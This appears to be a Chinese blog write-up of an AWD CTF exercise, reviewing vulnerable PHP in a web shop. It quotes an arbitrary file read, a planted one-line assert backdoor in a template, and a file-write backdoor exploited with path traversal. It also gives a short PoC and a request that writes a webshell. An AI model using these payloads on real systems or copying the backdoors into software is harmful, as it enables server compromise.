某线下赛AWD
拿别人比赛的来玩一下,或许这就是菜的力量吧。
0x01 任意文件读取:
- switch ($row['media_type']) {
- case 0: // 图片广告
- ......
- break;
- case 2: // CODE
- $ads[] = $row['ad_code'];
- break;
- case 3: // TEXT
- $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
- target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
- break;
- case 4: // url
- $ads[] = file_get_contents($_POST['url']);
- }
至于调用这个的具体的代码没有发出来所以具体的调用链也没办法写出来,只能简单复现一下。
其实这个测试就不用测试了,太low了可能只是调用链的问题,不然没有难度。
看文章里的URL调用链是这样的
https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s
需要switch 4的时候才出发漏洞。这里分享一个tips可以通过功能去找到调用链。不用再一个去拼接URL,可能对于我这样的菜鸡还是有点难度。
0x02 官方后门
官方提示auction_list.dwt文件
然后通过sublime快速索引这个文件。得到如下文件。
<div class="con">{:assert($_POST[1])}找到一个马
至于怎么利用很尴尬,具体文件没发出来,很蛋疼。对了,这个是dwt文件,经过百度科普dwt是网页模板文件。
0x03 任意文件写入mobile/api/uc.php
有那么一个action数组
- if (in_array($get['action'], array(
- 'test',
- 'deleteuser',
- 'renameuser',
- 'gettag',
- 'synlogin',
- 'synlogout',
- 'updatepw',
- 'updatebadwords',
- 'updatehosts',
- 'updateapps',
- 'updateclient',
- 'updatecredit',
- 'getcreditsettings',
- 'updatecreditsettings',
- 'writesth'
- )))
作者说一眼就看穿了writesth是官方留下的后门,或许这就是优秀吧。
我是看不出来。
然后找到了这个函数。
- function writesth($get, $post){
- $cachefile = $this->appdir .$get['name'];
- $fp = fopen($cachefile, 'w');
- $s = "<?phprn";
- $s .= $get['content'];
- fwrite($fp, $s);
- fclose($fp);
- return API_RETURN_SUCCEED;
- }
然后很明显可以看出文件名以及内容都是可控的,但是文件名多了一个$this->appdir。这个无碍,可以通过/../进行跨目录。
然后写了一个测试的代码:
- <?php
- class test
- {
- function writesth($get){
- $cachefile = "xx".$get['name'];
- $fp = fopen($cachefile, 'w');
- $s = "<?phprn";
- $s .= $get['content'];
- fwrite($fp, $s);
- fclose($fp);
- echo "success";
- }
- }
- $data = new test();
- $data ->writesth(array("name"=>"/../shell.php","content"=>"><?php echo 'this is webshell';?>"));
- ?>
在写shell的时候需要对<?phprn闭合。
什么?怎么写批量脚本?你看哪里有使用到writesth到的不就OK。还是不会写???
就这样:1270.0.1/index.php?id=t.php?id[name]=./../shell.php&id[content]=?><?php echo "this is phpshell"?>
0x04 一些SQL注入
注入感觉在AWD中玩的并不是那么顺,大多数应该都是报错型的。套路也就那几个。
某线下赛AWD的更多相关文章
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
- 2021江西省赛线下赛赛后总结(Crypto)
2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...
- ogeek线下赛web分析1-python-web
1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...
- Redhat 线下赛 WEB WP
赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- 线下AWD平台搭建以及一些相关问题解决
线下AWD平台搭建以及一些相关问题解决 一.前言 文章首发于tools,因为发现了一些新问题但是没法改,所以在博客进行补充. 因为很多人可能没有机会参加线下的AWD比赛,导致缺乏这方面经验,比如我参加 ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
随机推荐
- js中关于array的常用方法
最近总结了一些关于array中的常用方法, 其中大部分的方法来自于<JavaScript框架设计>这本书, 如果有更好的方法,或者有关于string的别的常用的方法,希望大家不吝赐教. 第 ...
- 从原理上搞定编码(二)-- Web编码
周末宅在家里睡完觉就吃饭,吃完饭接着睡觉,这日子过的实在是没劲啊.明明还有计划中的事情没有做, 为什么就是不想去做呢,这样的生活持续下去,必然会成为一个彻头彻尾的loser.上一篇写的 初识编码 ,这 ...
- 【JavaScript&jQuery】省市区三级联动
HTML: <%@page import="com.mysql.jdbc.Connection"%> <%@ page language="java&q ...
- [cogs1065]绿豆蛙的归宿
1065. [Nescafe19] 绿豆蛙的归宿 [题目描述] 给出一个有向无环的连通图,起点为1终点为N,每条边都有一个长度.绿豆蛙从起点出发,走向终点.到达每一个顶点时,如果有K条离开该点的道路, ...
- [AT2148] [arc063_c] Integers on a Tree
题目链接 AtCoder:https://arc063.contest.atcoder.jp/tasks/arc063_c 洛谷:https://www.luogu.org/problemnew/sh ...
- [SDOI2011]黑白棋 kth - nim游戏
题面 题面 题解 观察题目,我们可以发现,这个游戏其实就是不断再把对方挤到一边去,也就是黑子不断往左走,白子不断往右走. 因此可以发现,如果将黑白子按顺序两两配对,那么它们中间的距离会不断缩小,且每次 ...
- [SHOI2011]双倍回文 manacher
题面: 洛谷:[SHOI2011]双倍回文‘ 题解: 首先有一个性质,本质不同的回文串最多O(n)个. 所以我们可以对于每个i,求出以这个i为结尾的最长回文串,然后以此作为长串,并判断把这个长串从中间 ...
- certutil在渗透测测试中的使用技巧
certutil在渗透测测试中的使用技巧 0x01 前言 最近在Casey Smith @subTee的twitter上学到了关 ...
- POJ.3468 A Simple Problem with Integers(线段树 区间更新 区间查询)
POJ.3468 A Simple Problem with Integers(线段树 区间更新 区间查询) 题意分析 注意一下懒惰标记,数据部分和更新时的数字都要是long long ,别的没什么大 ...
- springboot缓存开发
前言:缓存在开发中是一个必不可少的优化点,近期在公司的项目重构中,关于缓存优化了很多点,比如在加载一些数据比较多的场景中,会大量使用缓存机制提高接口响应速度,简介提升用户体验.关于缓存,很多人对它都是 ...